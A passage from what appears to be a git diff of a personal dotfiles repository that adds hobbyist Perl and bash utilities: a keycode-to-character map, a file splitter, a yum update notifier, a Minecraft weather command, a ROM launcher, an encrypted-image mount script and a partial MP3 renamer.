if (exists $modkeys{$sym}) {
|
||||||
|
my $name = $modkeys{$sym};
|
||||||
|
$mod{$name} = $event eq "press" ? 1 : 0;
|
||||||
|
return "{\u$name}";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Qwerty keys.
|
||||||
|
my %keys = (
|
||||||
|
# qwerty row
|
||||||
|
24 => [ 'q', 'Q' ], # normal, shift key
|
||||||
|
25 => [ 'w', 'W' ],
|
||||||
|
26 => [ 'e', 'E' ],
|
||||||
|
27 => [ 'r', 'R' ],
|
||||||
|
28 => [ 't', 'T' ],
|
||||||
|
29 => [ 'y', 'Y' ],
|
||||||
|
30 => [ 'u', 'U' ],
|
||||||
|
31 => [ 'i', 'I' ],
|
||||||
|
32 => [ 'o', 'O' ],
|
||||||
|
33 => [ 'p', 'P' ],
|
||||||
|
34 => [ '[', '{' ],
|
||||||
|
35 => [ ']', '}' ],
|
||||||
|
51 => [ "\\", '|' ],
|
||||||
|
|
||||||
|
# asdf row
|
||||||
|
38 => [ 'a', 'A' ],
|
||||||
|
39 => [ 's', 'S' ],
|
||||||
|
40 => [ 'd', 'D' ],
|
||||||
|
41 => [ 'f', 'F' ],
|
||||||
|
42 => [ 'g', 'G' ],
|
||||||
|
43 => [ 'h', 'H' ],
|
||||||
|
44 => [ 'j', 'J' ],
|
||||||
|
45 => [ 'k', 'K' ],
|
||||||
|
46 => [ 'l', 'L' ],
|
||||||
|
47 => [ ';', ':' ],
|
||||||
|
48 => [ '"', "'" ],
|
||||||
|
36 => "{Return}",
|
||||||
|
|
||||||
|
# zxcv row
|
||||||
|
52 => [ 'z', 'Z' ],
|
||||||
|
53 => [ 'x', 'X' ],
|
||||||
|
54 => [ 'c', 'C' ],
|
||||||
|
55 => [ 'v', 'V' ],
|
||||||
|
56 => [ 'b', 'B' ],
|
||||||
|
57 => [ 'n', 'N' ],
|
||||||
|
58 => [ 'm', 'M' ],
|
||||||
|
59 => [ ',', '<' ],
|
||||||
|
60 => [ '.', '>' ],
|
||||||
|
61 => [ '/', '?' ],
|
||||||
|
|
||||||
|
# number row
|
||||||
|
49 => [ '`', '~' ],
|
||||||
|
10 => [ '1', '!' ],
|
||||||
|
11 => [ '2', '@' ],
|
||||||
|
12 => [ '3', '#' ],
|
||||||
|
13 => [ '4', '$' ],
|
||||||
|
14 => [ '5', '%' ],
|
||||||
|
15 => [ '6', '^' ],
|
||||||
|
16 => [ '7', '&' ],
|
||||||
|
17 => [ '8', '*' ],
|
||||||
|
18 => [ '9', '(' ],
|
||||||
|
19 => [ '0', ')' ],
|
||||||
|
20 => [ '-', '_' ],
|
||||||
|
21 => [ '+', '=' ],
|
||||||
|
|
||||||
|
# space bar
|
||||||
|
65 => ' ',
|
||||||
|
|
||||||
|
# number pad
|
||||||
|
90 => '{Num-0}',
|
||||||
|
87 => '{Num-1}',
|
||||||
|
88 => '{Num-2}',
|
||||||
|
89 => '{Num-3}',
|
||||||
|
83 => '{Num-4}',
|
||||||
|
84 => '{Num-5}',
|
||||||
|
85 => '{Num-6}',
|
||||||
|
79 => '{Num-7}',
|
||||||
|
80 => '{Num-8}',
|
||||||
|
81 => '{Num-9}',
|
||||||
|
106 => '{Num-/}',
|
||||||
|
63 => '{Num-*}',
|
||||||
|
82 => '{Num--}',
|
||||||
|
86 => '{Num-+}',
|
||||||
|
|
||||||
|
# F keys
|
||||||
|
67 => '{F1}',
|
||||||
|
68 => '{F2}',
|
||||||
|
69 => '{F3}',
|
||||||
|
70 => '{F4}',
|
||||||
|
71 => '{F5}',
|
||||||
|
72 => '{F6}',
|
||||||
|
73 => '{F7}',
|
||||||
|
74 => '{F8}',
|
||||||
|
75 => '{F9}',
|
||||||
|
76 => '{F10}',
|
||||||
|
95 => '{F11}',
|
||||||
|
96 => '{F12}',
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
9 => '{Esc}',
|
||||||
|
22 => '{Backspace}',
|
||||||
|
77 => '{Num Lock}',
|
||||||
|
107 => '{Print Scr}',
|
||||||
|
118 => '{Insert}',
|
||||||
|
119 => '{Delete}',
|
||||||
|
110 => '{Home}',
|
||||||
|
112 => '{Pg Up}',
|
||||||
|
117 => '{Pg Dn}',
|
||||||
|
115 => '{End}',
|
||||||
|
111 => '{Up}',
|
||||||
|
116 => '{Down}',
|
||||||
|
113 => '{Left}',
|
||||||
|
114 => '{Right}',
|
||||||
|
135 => '{Menu}',
|
||||||
|
23 => '{Tab}',
|
||||||
|
66 => '{Caps Lock}',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (exists $keys{$sym}) {
|
||||||
|
if (ref($keys{$sym})) {
|
||||||
|
print "(shift key: $mod{shift})\n";
|
||||||
|
if ($mod{shift}) {
|
||||||
|
return $keys{$sym}->[1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $keys{$sym}->[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $keys{$sym};
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "{Unknown: $sym}";
|
||||||
|
}
|
||||||
|
}
|
279
home/bin/ksplit
Executable file
279
home/bin/ksplit
Executable file
|
@ -0,0 +1,279 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# ksplit - Kirsle's File Splitter
|
||||||
|
#
|
||||||
|
# This is a super simple file splitter. See `ksplit --help` for help.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Getopt::Long;
|
||||||
|
|
||||||
|
unless (@ARGV) {
|
||||||
|
&usage();
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get command-line options.
|
||||||
|
my %o = (
|
||||||
|
verbose => 0, # --verbose, -v
|
||||||
|
help => 0, # --help, -h, -?
|
||||||
|
join => 0, # --join, -j
|
||||||
|
split => 0, # --split, -x
|
||||||
|
bs => (1024*1024), # byte size (1 MB default)
|
||||||
|
blocks => 512, # block size
|
||||||
|
cleanup => 0, # --cleanup
|
||||||
|
file => '', # file to run on
|
||||||
|
);
|
||||||
|
GetOptions (
|
||||||
|
'split|x' => \$o{split},
|
||||||
|
'join|j' => \$o{join},
|
||||||
|
'size|bs|s=s' => \$o{bs},
|
||||||
|
'blocks|b=i' => \$o{blocks},
|
||||||
|
'cleanup|c' => \$o{cleanup},
|
||||||
|
'verbose|v' => \$o{verbose},
|
||||||
|
'help|h|?' => \$o{help},
|
||||||
|
);
|
||||||
|
|
||||||
|
# Asking for help?
|
||||||
|
if ($o{help}) {
|
||||||
|
&help();
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
||||||
|
|
||||||
|
sub main {
|
||||||
|
if (scalar(@ARGV)) {
|
||||||
|
$o{file} = shift(@ARGV);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "No input file specified.\n"
|
||||||
|
. "See ksplit --help\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Let them specify the size in K, M, G, or T.
|
||||||
|
if ($o{bs} =~ /(k|m|g|t)$/i) {
|
||||||
|
my $type = uc($1);
|
||||||
|
$o{bs} =~ s/[^0-9]//g;
|
||||||
|
if ($type eq "K") {
|
||||||
|
$o{bs} *= 1024;
|
||||||
|
}
|
||||||
|
elsif ($type eq "M") {
|
||||||
|
$o{bs} *= 1024*1024;
|
||||||
|
}
|
||||||
|
elsif ($type eq "G") {
|
||||||
|
$o{bs} *= 1024**3;
|
||||||
|
}
|
||||||
|
elsif ($type eq "T") {
|
||||||
|
$o{bs} *= 1024**4;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Did we specify what we want to do?
|
||||||
|
if ($o{split} && $o{join}) {
|
||||||
|
print "You can't split and join at the same time.\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
elsif ($o{split} == 0 && $o{join} == 0) {
|
||||||
|
# Check the filename to guess what we want to do.
|
||||||
|
if ($o{file} =~ /\.s\d+$/i) {
|
||||||
|
# We're prolly rejoining it.
|
||||||
|
$o{join} = 1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# We're prolly splitting it.
|
||||||
|
$o{split} = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Splitting or joining?
|
||||||
|
if ($o{split}) {
|
||||||
|
verbose("Splitting $o{file} into $o{bs} byte chunks...");
|
||||||
|
|
||||||
|
open (READ, $o{file}) or die "Can't read file: $!";
|
||||||
|
binmode READ;
|
||||||
|
|
||||||
|
# Begin reading.
|
||||||
|
my $i = 1;
|
||||||
|
my $target = "$o{file}.s" . sprintf("%03d", $i);
|
||||||
|
my $bytes_read = 0;
|
||||||
|
my $buffer = '';
|
||||||
|
|
||||||
|
# And... go.
|
||||||
|
verbose("Opening $target for writing...");
|
||||||
|
open (WRITE, ">$target") or die "Can't open $target for writing: $!";
|
||||||
|
binmode WRITE;
|
||||||
|
while (read(READ, $buffer, $o{blocks})) {
|
||||||
|
print WRITE $buffer;
|
||||||
|
$bytes_read += $o{blocks};
|
||||||
|
|
||||||
|
# Is the next read gonna go over the byte size?
|
||||||
|
if ($bytes_read + $o{blocks} > $o{bs}) {
|
||||||
|
# Start a new file.
|
||||||
|
close (WRITE);
|
||||||
|
$i++;
|
||||||
|
$target = "$o{file}.s" . sprintf("%03d", $i);
|
||||||
|
$buffer = '';
|
||||||
|
verbose("Wrote $bytes_read bytes\n"
|
||||||
|
. "Opening $target for writing...");
|
||||||
|
$bytes_read = 0;
|
||||||
|
open (WRITE, ">$target") or die "Can't open $target for writing: $!";
|
||||||
|
binmode WRITE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Close the last handle.
|
||||||
|
close (WRITE);
|
||||||
|
|
||||||
|
# Done.
|
||||||
|
verbose("Done.");
|
||||||
|
}
|
||||||
|
elsif ($o{join}) {
|
||||||
|
verbose("Joining $o{file} together...");
|
||||||
|
|
||||||
|
# Make sure they gave us the first one.
|
||||||
|
my $source = $o{file};
|
||||||
|
if ($source !~ /\.s001$/i) {
|
||||||
|
# Make it the first.
|
||||||
|
if ($source =~ /\.s\d+$/i) {
|
||||||
|
$source =~ s/\.s\d+$/.s001/i;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
die "Can't find source file #1!";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Find the target file.
|
||||||
|
my $target = $source;
|
||||||
|
$target =~ s/\.s\d+$//i;
|
||||||
|
|
||||||
|
verbose("Opening target file $target for writing...");
|
||||||
|
open (WRITE, ">$target");
|
||||||
|
binmode WRITE;
|
||||||
|
|
||||||
|
# Read from the files.
|
||||||
|
my $i = 1;
|
||||||
|
while (1) {
|
||||||
|
$source = "$target.s" . sprintf("%03d", $i);
|
||||||
|
if (!-f $source) {
|
||||||
|
verbose("No more source files.");
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
|
||||||
|
verbose("Opening source file $source for reading...");
|
||||||
|
open (READ, $source) or die "Can't read from $source: $!";
|
||||||
|
binmode READ;
|
||||||
|
|
||||||
|
my $buffer = '';
|
||||||
|
while (read(READ, $buffer, $o{bs})) {
|
||||||
|
print WRITE $buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(READ);
|
||||||
|
$i++;
|
||||||
|
|
||||||
|
# Clean up?
|
||||||
|
if ($o{cleanup}) {
|
||||||
|
verbose("Cleaning up source file $source");
|
||||||
|
unlink($source);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Done.
|
||||||
|
close (WRITE);
|
||||||
|
verbose("Done.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub verbose {
|
||||||
|
my $line = shift;
|
||||||
|
if ($o{verbose}) {
|
||||||
|
print "$line\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub usage {
|
||||||
|
print "Usage: ksplit [-v -s <byte size> -b <block size> -j|-x -c] file\n"
|
||||||
|
. "Try ksplit --help for help.\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub help {
|
||||||
|
print qq{
|
||||||
|
NAME
|
||||||
|
|
||||||
|
ksplit - Split and join large files.
|
||||||
|
|
||||||
|
USAGE
|
||||||
|
|
||||||
|
ksplit [-v -s <byte size> -b <block size> -j|-x -c] file
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
|
||||||
|
This tool splits up and joins a large file into several smaller files.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
|
||||||
|
--verbose
|
||||||
|
-v
|
||||||
|
|
||||||
|
Give verbose output while the command is running (otherwise it runs
|
||||||
|
silently).
|
||||||
|
|
||||||
|
--size <byte size>
|
||||||
|
--bs
|
||||||
|
-s
|
||||||
|
|
||||||
|
Specify the maximum file size for each chunk that the file is split into.
|
||||||
|
You can use K, M, G, or T at the end to specify larger sizes. Examples:
|
||||||
|
|
||||||
|
-s 1.44M
|
||||||
|
-s 1024
|
||||||
|
-s 4G
|
||||||
|
|
||||||
|
--blocksize <bytes>
|
||||||
|
--block
|
||||||
|
-b
|
||||||
|
|
||||||
|
Specify the number of bytes to copy at a time. A larger number will make
|
||||||
|
the operation faster, however it will require more memory to run.
|
||||||
|
|
||||||
|
--join, -j
|
||||||
|
--split, -x
|
||||||
|
|
||||||
|
Normally ksplit will try to detect what you want to do based on the file
|
||||||
|
you give it. Specify --join or --split manually to override it. You
|
||||||
|
can't use both options at the same time.
|
||||||
|
|
||||||
|
--cleanup
|
||||||
|
-c
|
||||||
|
|
||||||
|
When joining the file back together, automatically delete each part
|
||||||
|
after it is copied from.
|
||||||
|
|
||||||
|
INPUT FILE
|
||||||
|
|
||||||
|
If the input file ends with `.s###` then ksplit will assume you want to join
|
||||||
|
the file and will try to find the first one (e.g. .s001). Otherwise it
|
||||||
|
assumes you want to split the file. You can override its assumption by using
|
||||||
|
--join or --split as command line arguments.
|
||||||
|
|
||||||
|
EXAMPLES
|
||||||
|
|
||||||
|
To split a very large movie into 256 MB chunks:
|
||||||
|
|
||||||
|
ksplit --size 256M "My Movie.mpg"
|
||||||
|
|
||||||
|
To join it back together from the parts and clean up the part files.
|
||||||
|
|
||||||
|
ksplit --clean "My Movie.mpg.s001"
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
|
||||||
|
Casey Kirsle
|
||||||
|
http://www.kirsle.net/
|
||||||
|
};
|
||||||
|
exit(1);
|
||||||
|
}
|
132
home/bin/kupdatesd
Executable file
132
home/bin/kupdatesd
Executable file
|
@ -0,0 +1,132 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# --- This script is no longer maintained. ---
|
||||||
|
# It has been replaced by the Python version, pyupdatesd. The Python version
|
||||||
|
# requires only pygtk2, which tends to come preinstalled on Fedora XFCE spins,
|
||||||
|
# and is therefore much simpler to get set up. :)
|
||||||
|
#
|
||||||
|
# http://sh.kirsle.net/pyupdatesd
|
||||||
|
# --------------------------------------------
|
||||||
|
|
||||||
|
# kupdatesd - A simple yum update checker.
|
||||||
|
#
|
||||||
|
# This script will watch for available yum updates and show a GTK+ TrayIcon
|
||||||
|
# and notification pop-up when updates become available.
|
||||||
|
#
|
||||||
|
# This is intended for desktop environments like XFCE that don't have a native
|
||||||
|
# PackageKit update watcher.
|
||||||
|
#
|
||||||
|
# Set this script to run on session startup and it will check for updates every
|
||||||
|
# 5 minutes (by default; this is configurable in the source code).
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Gtk2 -init;
|
||||||
|
use Gtk2::TrayIcon;
|
||||||
|
use Gtk2::Notify -init, "kupdatesd";
|
||||||
|
|
||||||
|
$SIG{HUP} = $SIG{TERM} = sub {
|
||||||
|
exec($0);
|
||||||
|
};
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# Configuration Section #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
my %c = (
|
||||||
|
# The title to be shown on the pop-up and the icon tooltip.
|
||||||
|
title => "Updates Available",
|
||||||
|
|
||||||
|
# The message to be shown in the pop-up.
|
||||||
|
message => "There are updates ready to install.",
|
||||||
|
|
||||||
|
# The icon to use for the pop-up and tray icon.
|
||||||
|
icon => '/usr/share/icons/gnome/32x32/status/software-update-available.png',
|
||||||
|
|
||||||
|
# How often to check for updates (in seconds).
|
||||||
|
interval => 900,
|
||||||
|
|
||||||
|
# The path to your yum binary.
|
||||||
|
yum => '/usr/bin/yum',
|
||||||
|
|
||||||
|
# The path to your graphical updater.
|
||||||
|
# gpk-update-viewer is provided by gnome-packagekit
|
||||||
|
gui => '/usr/bin/yumex',
|
||||||
|
);
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# End Configuration Section #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
# Gtk objects
|
||||||
|
my ($icon, $image, $eventbox, $tooltip, $notify);
|
||||||
|
my $visible = 0; # Icon is currently being displayed?
|
||||||
|
|
||||||
|
# Enter the main loop.
|
||||||
|
my $check = time() + $c{interval};
|
||||||
|
while (1) {
|
||||||
|
select(undef,undef,undef,0.1);
|
||||||
|
|
||||||
|
# Keep Gtk2 active.
|
||||||
|
if (defined $icon) {
|
||||||
|
Gtk2->main_iteration while Gtk2->events_pending;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (time() > $check) {
|
||||||
|
# Look for updates.
|
||||||
|
system("$c{yum} check-update > /dev/null 2>&1");
|
||||||
|
if (!$visible && $? >> 8 == 100) {
|
||||||
|
say "There are updates available!";
|
||||||
|
show_icon();
|
||||||
|
}
|
||||||
|
elsif ($visible && $? == 0) {
|
||||||
|
# Updates have gone away behind our back!
|
||||||
|
$icon->hide;
|
||||||
|
$visible = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Queue another check.
|
||||||
|
$check = time() + $c{interval};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub show_icon {
|
||||||
|
# Already initialized this once before?
|
||||||
|
if (defined $icon) {
|
||||||
|
# Just show the icon and notification again.
|
||||||
|
$icon->show_all;
|
||||||
|
$notify->show;
|
||||||
|
$visible = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Tray icon. Image goes in EventBox, EventBox goes inside TrayIcon.
|
||||||
|
$icon = Gtk2::TrayIcon->new("kupdatesd");
|
||||||
|
$image = Gtk2::Image->new_from_file($c{icon});
|
||||||
|
$eventbox = Gtk2::EventBox->new;
|
||||||
|
$eventbox->add($image);
|
||||||
|
$icon->add($eventbox);
|
||||||
|
$icon->show_all;
|
||||||
|
|
||||||
|
# Attach the tooltip.
|
||||||
|
$tooltip = Gtk2::Tooltips->new;
|
||||||
|
$tooltip->set_tip($icon, $c{title});
|
||||||
|
|
||||||
|
$eventbox->signal_connect("button_press_event", sub {
|
||||||
|
$icon->hide;
|
||||||
|
$visible = 0;
|
||||||
|
system($c{gui});
|
||||||
|
});
|
||||||
|
|
||||||
|
$notify = Gtk2::Notify->new(
|
||||||
|
$c{title},
|
||||||
|
$c{message},
|
||||||
|
$c{icon},
|
||||||
|
);
|
||||||
|
$notify->show;
|
||||||
|
$visible = 1;
|
||||||
|
}
|
44
home/bin/make-it-rain
Executable file
44
home/bin/make-it-rain
Executable file
|
@ -0,0 +1,44 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# make-it-rain: Command the Minecraft weather!
|
||||||
|
#
|
||||||
|
# Usage: make-it-rain <screen name> <clear|rain|thunder> [duration]
|
||||||
|
# Ex: make-it-rain minecraft thunder 300
|
||||||
|
#
|
||||||
|
# You have to run your Minecraft server in a `screen` session, preferably with
|
||||||
|
# a friendly session name, like so:
|
||||||
|
#
|
||||||
|
# $ screen -S minecraft
|
||||||
|
#
|
||||||
|
# Then, use that session name with this script. See the example usage.
|
||||||
|
#
|
||||||
|
# This script will basically execute the /weather command in your Minecraft
|
||||||
|
# server, for example "weather thunder 300" for a 5 minute long thunder storm.
|
||||||
|
# See the Minecraft documentation for more info. Notably, the maximum duration
|
||||||
|
# value that Minecraft accepts is 1000000 (1 million), which comes out to be
|
||||||
|
# about 277 hours.
|
||||||
|
#
|
||||||
|
# You can set up a cron job to keep your server constantly stormy by doing
|
||||||
|
# something like this:
|
||||||
|
#
|
||||||
|
# * 0 * * * make-it-rain minecraft thunder 86400
|
||||||
|
#
|
||||||
|
# This would kick off a 24 hour long thunder storm every night at midnight.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
my ($screen, $mode, $time) = @ARGV;
|
||||||
|
unless ($screen) {
|
||||||
|
die "Usage: $0 <screen name> <clear|rain|thunder> [time]\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
my $command = qq{screen -x $screen -X stuff 'weather $mode};
|
||||||
|
if ($time) {
|
||||||
|
$command .= qq{ $time};
|
||||||
|
}
|
||||||
|
$command .= qq{\x0D'};
|
||||||
|
exec($command);
|
33
home/bin/mednafen-zenity
Executable file
33
home/bin/mednafen-zenity
Executable file
|
@ -0,0 +1,33 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# mednafen-ptk - Perl/Tk front-end for launching mednafen.
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
# Path to ROMs.
|
||||||
|
my $root = shift(@ARGV) || "$ENV{HOME}/ROMS/GBA/Games";
|
||||||
|
|
||||||
|
# Get a ROM selection.
|
||||||
|
chdir($root);
|
||||||
|
my $rom = `zenity --title "Select a GameBoy or NES ROM" --file-selection`;
|
||||||
|
chomp $rom;
|
||||||
|
print "Selected: $rom\n";
|
||||||
|
|
||||||
|
# A selection?
|
||||||
|
if (defined $rom && $rom =~ /\.(gb|gbc|gba|nes)/i) {
|
||||||
|
if (-f $rom) {
|
||||||
|
# Launch Mednafen.
|
||||||
|
exec(
|
||||||
|
#"padsp", # pulseaudio oss emulation
|
||||||
|
"mednafen",
|
||||||
|
-sounddriver => "sdl", #"alsa", # sound driver
|
||||||
|
-vdriver => "sdl", # video driver (or opengl)
|
||||||
|
"-gb.xscale" => 4, # gameboy scaling
|
||||||
|
"-gb.yscale" => 4,
|
||||||
|
"-gba.xscale" => 2, # GBA scaling
|
||||||
|
"-gba.yscale" => 2,
|
||||||
|
$rom,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
33
home/bin/metacity-test
Executable file
33
home/bin/metacity-test
Executable file
|
@ -0,0 +1,33 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# metacity-test - A simple script to test Metacity themes by popping up a simple
|
||||||
|
# window just to show off the window decorations.
|
||||||
|
#
|
||||||
|
# Requires Perl/Tk.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Tk;
|
||||||
|
|
||||||
|
my $str = join (" ",@ARGV) || 'Preview';
|
||||||
|
|
||||||
|
my $mw = MainWindow->new (
|
||||||
|
-title => "Cuvou.com",
|
||||||
|
);
|
||||||
|
$mw->optionAdd ('*highlightThickness',0);
|
||||||
|
|
||||||
|
$mw->Label (
|
||||||
|
-width => 25,
|
||||||
|
-textvariable => \$str,
|
||||||
|
-relief => 'flat',
|
||||||
|
-font => [
|
||||||
|
-weight => 'bold',
|
||||||
|
-size => 12,
|
||||||
|
-family => 'Arial',
|
||||||
|
],
|
||||||
|
)->pack (-padx => 5, -pady => 5);
|
||||||
|
|
||||||
|
MainLoop;
|
23
home/bin/mountsec
Executable file
23
home/bin/mountsec
Executable file
|
@ -0,0 +1,23 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Mount an encrypted loopback disk image.
|
||||||
|
|
||||||
|
# Setting this up:
|
||||||
|
# modprobe cryptoloop
|
||||||
|
# modprobe aes
|
||||||
|
# dd if=/dev/urandom of=.container.img bs=1M count=8192 # for an 8GB image
|
||||||
|
# losetup -e aes /dev/loop0 .container.img
|
||||||
|
# mkfs.ext4 /dev/loop0
|
||||||
|
|
||||||
|
# Then run this script to mount the image to /secure (create this folder in
|
||||||
|
# advance, or use a different folder). `umount /secure` to unmount.
|
||||||
|
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
sudo modprobe cryptoloop
|
||||||
|
sudo modprobe aes
|
||||||
|
sudo losetup /dev/loop0 ~/.container.img
|
||||||
|
echo "cryptsetup"
|
||||||
|
sudo cryptsetup -y luksOpen /dev/loop0 ~/.container.img
|
||||||
|
sudo mount -o loop,encryption=aes ~/.container.img /secure
|
181
home/bin/mp3rename
Executable file
181
home/bin/mp3rename
Executable file
|
@ -0,0 +1,181 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# mp3rename - Rename MP3 files based on their IDv3 tags.
|
||||||
|
#
|
||||||
|
# Usage: mp3rename [opts] <mp3s>
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# mp3rename --format '{artist} - {title}' $HOME/Music/*.mp3
|
||||||
|
#
|
||||||
|
# This script has POD documentation, so `perldoc mp3rename`
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
=head1 NAME
|
||||||
|
|
||||||
|
mp3rename - Rename MP3 files based on their IDv3 tags.
|
||||||
|
|
||||||
|
=head1 USAGE
|
||||||
|
|
||||||
|
mp3rename [opts] <mp3s>
|
||||||
|
|
||||||
|
=head1 OPTIONS
|
||||||
|
|
||||||
|
--format <format>
|
||||||
|
-f
|
||||||
|
|
||||||
|
Specify the format to output the files in. Doesn't need to include
|
||||||
|
the .mp3 extension. Example: --format "{artist} - {title}"
|
||||||
|
|
||||||
|
Format tags include:
|
||||||
|
{artist} - Artist
|
||||||
|
{album} - Album
|
||||||
|
{title} - Song title
|
||||||
|
{track} - Track number
|
||||||
|
|
||||||
|
Default is: {artist} - {title}
|
||||||
|
|
||||||
|
--output <directory>
|
||||||
|
-o
|
||||||
|
|
||||||
|
Specify a directory to putput the files to. Default is the current
|
||||||
|
working directory.
|
||||||
|
|
||||||
|
--recursive
|
||||||
|
-r
|
||||||
|
|
||||||
|
Recursively descend into any directories included in the arguments.
|
||||||
|
By default, directories will just be skipped over.
|
||||||
|
|
||||||
|
--copy
|
||||||
|
-c
|
||||||
|
|
||||||
|
Copy, don't rename.
|
||||||
|
|
||||||
|
--test
|
||||||
|
-t
|
||||||
|
|
||||||
|
Show what the files would be renamed to, but don't actually rename
|
||||||
|
them.
|
||||||
|
|
||||||
|
--help
|
||||||
|
-h
|
||||||
|
-?
|
||||||
|
|
||||||
|
Show this documentation.
|
||||||
|
|
||||||
|
=head1 AUTHOR
|
||||||
|
|
||||||
|
Noah Petherbridge, http://www.kirsle.net/
|
||||||
|
|
||||||
|
=cut
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use File::Basename;
|
||||||
|
use File::Path qw(mkpath);
|
||||||
|
use File::Copy;
|
||||||
|
use Getopt::Long;
|
||||||
|
use MP3::Info;
|
||||||
|
|
||||||
|
# Get command-line arguments.
|
||||||
|
my %o = (
|
||||||
|
format => '{artist} - {title}',
|
||||||
|
output => '.',
|
||||||
|
copy => 0,
|
||||||
|
recursive => 0,
|
||||||
|
test => 0,
|
||||||
|
help => 0,
|
||||||
|
);
|
||||||
|
GetOptions (
|
||||||
|
'format|f=s' => \$o{format},
|
||||||
|
'output|o=s' => \$o{output},
|
||||||
|
'recursive|r' => \$o{recursive},
|
||||||
|
'copy|c' => \$o{copy},
|
||||||
|
'test|t' => \$o{test},
|
||||||
|
'help|h|?' => \$o{help},
|
||||||
|
);
|
||||||
|
|
||||||
|
# Help?
|
||||||
|
&help() if $o{help};
|
||||||
|
|
||||||
|
# Get the file list.
|
||||||
|
my @files = @ARGV;
|
||||||
|
if (scalar(@files) == 0) {
|
||||||
|
&help();
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach my $file (@files) {
|
||||||
|
if (-d $file && $o{recursive}) {
|
||||||
|
&crawldir($file);
|
||||||
|
}
|
||||||
|
elsif (-d $file) {
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
&rename($file);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub crawldir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
opendir (DIR, $dir) or die "Can't crawl into directory $dir: $!";
|
||||||
|
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
|
||||||
|
next if -l "$dir/$file"; # Don't follow links.
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
&crawldir("$dir/$file");
|
||||||
|
}
|
||||||
|
elsif (-f "$dir/$file") {
|
||||||
|
&rename("$dir/$file");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub rename {
|
||||||
|
my $file = shift;
|
||||||
|
|
||||||
|
return unless -f $file;
|
||||||
|
my $mp3 = get_mp3tag($file);
|
||||||
|
return unless $mp3;
|
||||||
|
|
||||||
|
my $artist = $mp3->{ARTIST} || "Unknown";
|
||||||
|
my $album = $mp3->{ALBUM} || "Unknown";
|
||||||
|
my $title = $mp3->{TITLE} || basename($file, ".mp3");
|
||||||
|
my $track = $mp3->{TRACKNUM} || "";
|
||||||
|
|
||||||
|
# Make the new file name.
|
||||||
|
my $rename = $o{format};
|
||||||
|
$rename .= ".mp3" unless $rename =~ /\.mp3$/i;
|
